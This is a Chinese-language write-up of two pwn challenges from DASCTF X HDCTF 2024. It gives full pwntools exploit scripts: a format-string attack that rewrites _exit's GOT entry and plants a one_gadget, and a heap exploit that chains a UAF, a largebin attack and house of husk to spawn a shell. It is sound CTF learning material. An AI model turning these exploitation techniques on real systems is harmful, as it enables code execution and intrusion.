DASCTF X HDCTF 2024 公开赛|生而无畏战_pwn部分wp
剩下一个不会写。😭等复现了。
来签个到吧
分析
程序很简单,给了一个栈地址,然后是格式化字符串漏洞,不过是向数据段输入,随后立即exit。
执行完printf后,程序是调用了_exit,它不会触发io相关的函数,直接syscall退出。
思路
改_exit的got表为main函数地址,可以达到多次格式化字符串的目的,之后便随便打了,我选择的改prinrtf的got表为one_gadget。
exp
当时做的时候走了点弯路,第一次劫持了printf的返回地址为main同时泄露libcbase,第二次才改的exit_got为main。
记得printf一次写最多写两字节有效数据,之后测试发现一次可以写出3字节有效数据,如此配合“%lln”便可以一次改出来一个程序地址。
from tools import *
context(log_level='debug',arch='amd64',os='linux')
for i in range(40):
p,elf,libc=load("pwn2","node5.buuoj.cn:26965")
p.recvuntil("Gift addr: ")
stack=int(p.recvline(False),16)
log_addr("stack")
retaddr=stack-0x28+1
log_addr("retaddr")
a=retaddr&0xffff
if a>0x4013 :
print("------->>error",i)
p.close()
continue
else :
payload=b"%p-"*6+b"%"+str(a-0x2d).encode()+b"c%hn%"+str(0x4012-a-37).encode()+b"c"+b"%c"*37+b"%hn"
log_addr("a")
p.sendafter("Please leave your message: ",payload)
p.recvuntil("-")
p.recvuntil("-0x")
libcbase=int(p.recv(12),16)-0x10e1f2
log_addr("libcbase")
og=libcbase+0xe3b01
exit_got=0x000000000404018
b=og&0xffff
log_addr("b")
retaddr=stack+0x58
a=retaddr&0xffff
payload=b"%p-"*5+b"%"+str(a-0x2d+0x1d).encode()+b"c%hn"
payload+=b"%"+str(0x4012-0x19-a-37).encode()+b"c"+b"%c"*38+b"%hn"
payload+=b"%6c"+b"%hn"
log_addr("a")
p.sendafter("Please leave your message: ",payload)
payload=b"%"+str(0x123b).encode()+b"c%24$hn"
payload=payload.ljust(0x100,b"\x00")
p.sendafter("Please leave your message: ",payload)
payload=b"%"+str(0x28).encode()+b"c%61$hhn"
p.sendafter("Please leave your message: ",payload)
og=libcbase+0xe3b01
exit_got=0x000000000404018
b=og&0xffff
paddr=stack+0x60
a=paddr&0xffff
payload=b"%"+str(a).encode()+b"c%32$hn"
p.sendafter("Please leave your message: ",payload)
payload=b"%"+str(0x402a).encode()+b"c%83$hn"
payload=payload.ljust(0x100,b"\x00")
debug(p,0x000000000401324,0x000000000401361,0x000000000040136B)
p.sendafter("Please leave your message: ",payload)
c=(og>>16)&0xff
payload=b"%"+str(c).encode()+b"c%70$hhn"+b"%"+str(b-c).encode()+b"c%72$hn"
p.sendafter("Please leave your message: ",payload)
break
p.interactive()
最喜欢的一集
分析
一个菜单堆,增删改查功能齐全,还给了一个255的选项,功能是任意地址写一个字符。
add
可以申请大堆块,申请完之后写数据。
free
4018的初始值为1,存在一次uaf。
edit
4028初始值为1,编辑功能只能使用一次。
show
4020初始值为1,只能show一次。并且打印0x10字节,也就是说正常情况下,一次泄露出libc和heap是不可能的。
exit
关键点在这,退出时特意调用了一次含有格式化字符的printf,这个提示很明显了,八成就是house of husk。
思路
- 利用uaf,将堆块放入largebin后泄露libcbase,这个堆块A同时也是largebin attack要用到的。
- 通过largebin attack可以任意地址写一个堆地址(堆块B),通常是向
_IO_list_all
写,但是这题是_exit不会触发io流。不过,可以向__printf_arginfo_table
写入。将onegedget写到堆块B中。利用255选项向__printf_function_table
写入一个字符使其不为空。 - 最后退出时触发one_gadget。
exp
from tools import *
from pwncli import *
context.log_level="debug"
p,elf,libc=load("ezz","node5.buuoj.cn:28320")
def add(name=b"abc",size=0x500,msg=b"qwe"):
p.sendlineafter("choice:",b"1")
p.sendlineafter("r name:",name)
p.sendlineafter("Please input the length of your desciption: ",str(size))
p.sendlineafter("Please input the content of your desciption: ",msg)
def free(idx):
p.sendlineafter("choice:",b"2")
p.sendlineafter("Please input the index of the people: ",str(idx))
def edit(idx,msg,name=b"aa"):
p.sendlineafter("choice:",b"3")
p.sendlineafter("Please input the index of the people: ",str(idx))
p.sendlineafter(b'Please input the name of the people: ',name)
p.sendlineafter("Please input the content of the desciption: ",msg)
def show(idx):
p.sendlineafter("choice:",b"4")
p.sendlineafter("Please input the index of the people: ",str(idx))
add(size=0x520) #0
add() #1
free(0)
add(size=0x540) #2
show(0)
#__printf_function_table __printf_arginfo_table
og=[0xe3afe,0xe3b01,0xe3b04]
libcbase=recv_libc()-0x1ed010
log_addr("libcbase")
fun=libcbase+0x1f1318
arg=libcbase+0x1ed7b0
log_addr("fun")
log_addr("arg")
payload=p64(og[0]+libcbase)*0x73
add(size=0x520) #3
add(size=0x510,msg=payload) #4
free(3)
add(size=0x540) #3
free(4)
edit(0,p64(libcbase+0x1ed010)*3+p64(arg-0x20))
add(size=0x540)
debug(p,"pie",0x0000000000001900,0x00000000000017FE,0x0000000000001C4C,0x0000000000001C9A,0x0000000000001B38,0x0000000000001B68,0x0000000000001D75)
p.sendlineafter("choice:",b"255")
p.sendlineafter(b"Maybe Do you like IU?\n",b"y")
p.sendlineafter(b"Give you a reward!\n",p64(fun))
sleep(0.5)
p.sendline(b"k")
p.sendlineafter("choice:",b"8")
p.interactive()